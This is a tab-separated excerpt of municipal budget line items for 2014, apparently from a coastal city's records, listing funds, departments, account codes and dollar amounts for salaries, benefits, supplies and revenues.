11189	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	816.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
11190	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	14101.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14101.0
11191	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	188531.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	188531.0
11192	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	5132.0	0	0	0	0.0	0	13.0	0	0	0	0	0.0	5145.0
11193	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	6914.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6914.0
11194	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EAP		Salaries and Wages	2014	413.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	413.0
11195	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
11196	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	1944.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1944.0
11197	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533280.0	AVIATION MAINTENANCE		 Supplies and Expenses	2014	143500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	143500.0
11198	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533290.0	LANDSCAPE MAINTENANCE		 Supplies and Expenses	2014	25600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25600.0
11199	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-402557.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-402557.0
11200	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402700.0	REGULAR FUEL-DEPT USAGE	650.0	Charges for Service	2014	-450000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-450000.0
11201	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2073816.0	0	0	0	0.0	34817	4930.0	0	0	0	0	0.0	2113563.0
11202	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	29601.0	0	0	0	0.0	439	98.0	0	0	0	0	0.0	30138.0
11203	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511749.0	VISION	808.0	Salaries and Wages	2014	3873.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3873.0
11204	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DCAP	808.0	Salaries and Wages	2014	1992.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1992.0
11205	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2014	49261.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49261.0
11206	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522930.0	VEHICLES - TIRES / TUBES	808.0	 Supplies and Expenses	2014	148625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	148625.0
11207	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	51250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51250.0
11208	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	16318.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16318.0
11209	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511749.0	VISION		Salaries and Wages	2014	834.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	834.0
11210	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	350.0
11211	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	197638.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	197638.0
11212	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
11213	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	10465.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10465.0
11214	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
11215	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	58102.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	58102.0
11216	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	3123.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3123.0
11217	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	64138.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64138.0
11218	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
11219	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1050.0
11220	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1079.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1079.0
11221	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2288.0
11222	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
11223	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
11224	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1217.0
11225	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	544160.0	RIDESHARE PROGRAM	804.0	 Supplies and Expenses	2014	6897.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6897.0
11226	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	556050.0	LA MARATHON	820.0	 Supplies and Expenses	2014	165568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	165568.0
11227	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	36918.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36918.0
11228	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-1616000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1616000.0
11229	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404290.0	MEASURE R LOCAL RETURN	658.0	Sales Tax	2014	-991753.0	0	0	991753	0.0	0	0.0	0	0	0	0	0.0	0.0
11230	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402150.0	MORTUARY SERVICES	650.0	Charges for Service	2014	-282285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-282285.0
11231	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	5985.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5985.0
11232	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403820.0	SUMMER FOOD SERVICE PROGRAM	610.0	Intergovernmental	2014	-22045.0	0	0	0	0.0	0	0.0	22045	0	0	0	0.0	0.0
11233	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	173336.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	173336.0
11234	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
11235	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578310.0	POLICE BEACH PATROL	810.0	 Supplies and Expenses	2014	325128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	325128.0
11236	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2014	1782557.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1782557.0
11237	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT-ADMIN		 Supplies and Expenses	2014	-50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50000.0
11238	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407790.0	CHILDCARE LINKAGE FEE	622.0	Other	2014	-572165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-572165.0
11239	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522620.0	RENT	804.0	 Supplies and Expenses	2014	47997.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47997.0
11240	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1345181.0	0	0	0	0.0	18353	44901.0	-84164	0	0	0	0.0	1324271.0
11241	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6430.0	0	0	0	0.0	75	225.0	-416	0	0	0	0.0	6314.0
11242	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DCAP	804.0	Salaries and Wages	2014	792.0	0	0	0	0.0	0	25.0	-72	0	0	0	0.0	745.0
11243	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1365349.0	0	0	0	0.0	20521	0.0	0	0	0	0	0.0	1385870.0
11244	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1703.0	0	0	0	0.0	0	0.0	115	0	0	0	0.0	1818.0
11245	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
11246	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
11247	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	31000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31000.0
11248	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2014	2017.0	0	0	0	0.0	16	0.0	0	0	0	0	0.0	2033.0
11249	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1409.0
11250	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	22825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22825.0
11251	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	14854.0	0	0	0	1.0	163	-33.78	0	0	0	0	0.0	14984.22
11252	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	196380.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	196380.0
11253	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	187595.0	0	0	0	12.0	2750	-458.74	0	0	0	0	0.0	189898.26
11254	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402162.0	FILMING RECEIPTS	662.0	Other	2014	-9000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9000.0
11255	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	586561.0	0	0	0	0.0	8788	-5.0	0	0	0	0	0.0	595344.0
11256	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511713.0	MEDICARE-MISC EMPLOYEES		Salaries and Wages	2014	7928.0	0	0	0	0.0	92	0.0	0	0	0	0	0.0	8020.0
11257	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522510.0	COMMUNITY OUTREACH		 Supplies and Expenses	2014	19342.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19342.0
11258	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522720.0	MILEAGE		 Supplies and Expenses	2014	575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	575.0
11259	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	442982.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	442982.0
11260	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	87734.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	87734.0
11261	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	651.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	651.0
11262	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	15249.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15249.0
11263	B1	IS	52	Special Aviation Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-1700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1700.0
11264	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544740.0	ARTIST FELLOWSHIPS	810.0	 Supplies and Expenses	2014	60500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60500.0
11265	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	20500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20500.0
11266	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
11267	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2014	3200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3200.0
11268	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	2051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2051.0
11269	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2014	1410.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1410.0
11270	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	402390.0	DWR SUSTAINABLE LANDSCAPE GRAN	610.0	Intergovernmental	2014	0.0	0	0	0	-135654.0	0	0.0	0	0	0	0	0.0	-135654.0
11271	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2014	308479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	308479.0
11272	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	406980.0	PBAD ASSESSMENT	622.0	Other	2014	-32981.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32981.0
11273	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	321826.0	0	0	0	0.0	4773	0.0	0	0	0	0	0.0	326599.0
11274	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		UNEMPLOYMENT	808.0	Salaries and Wages	2014	8349.0	0	0	0	0.0	107	0.0	0	0	0	0	0.0	8456.0
11275	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DCAP	808.0	Salaries and Wages	2014	1080.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1080.0
11276	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
11277	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	25370.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25370.0
11278	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-2291.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2291.0
11279	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2014	1506.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1506.0
11280	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	447.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	447.0
11281	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
11282	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577650.0	MAINTENANCE / GUARDS		 Supplies and Expenses	2014	62000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62000.0
11283	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	8376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8376.0
11284	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533040.0	SPECIAL INSURANCE	804.0	 Supplies and Expenses	2014	18503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18503.0
11285	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	-11714	0	0	0	0.0	-11714.0
11286	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	403720.0	SERIAL INEBRIATE GRANT ADMIN	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	-26147	0	0	0	0.0	-26147.0
11287	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	29068.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29068.0
11288	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	717525.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	717525.0
11289	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511748.0	DENTAL	816.0	Salaries and Wages	2014	12115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12115.0
11290	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2014	-7816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7816.0
11291	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	379.0	0	0	0	0.0	0	812.0	0	0	0	0	0.0	1191.0
11292	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DCAP	816.0	Salaries and Wages	2014	912.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	912.0
11293	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
11294	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577341.0	SECT 8 HSG-PORTS	816.0	 Supplies and Expenses	2014	88100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88100.0
11295	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	9232.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9232.0
11296	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	7117.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7117.0
11297	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	38005.0	0	0	0	11266.0	2234	0.0	0	0	0	0	0.0	51505.0
11298	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	522.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	522.0
11299	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	360.0
11300	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	1750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1750.0
11301	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250.0
11302	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	577110.0	PAYMENTS TO RENT CONTROL	808.0	 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
11303	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407210.0	EVENT PERMIT FEE	612.0	Charges for Service	2014	-8716.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8716.0
11304	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407070.0	CUPA ADMINISTRATION FEES	612.0	Charges for Service	2014	-221400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-221400.0
11305	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER FROM FUND 04		 Supplies and Expenses	2014	-262757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-262757.0
11306	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-658465.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-658465.0
11307	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401170.0	ELECTION FEES	612.0	Charges for Service	2014	-2200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2200.0
11308	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2014	4840.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4840.0
11309	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578837.0	BULLETPROOF VEST GRANT - 2013	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	23372	0	0	0.0	23372.0
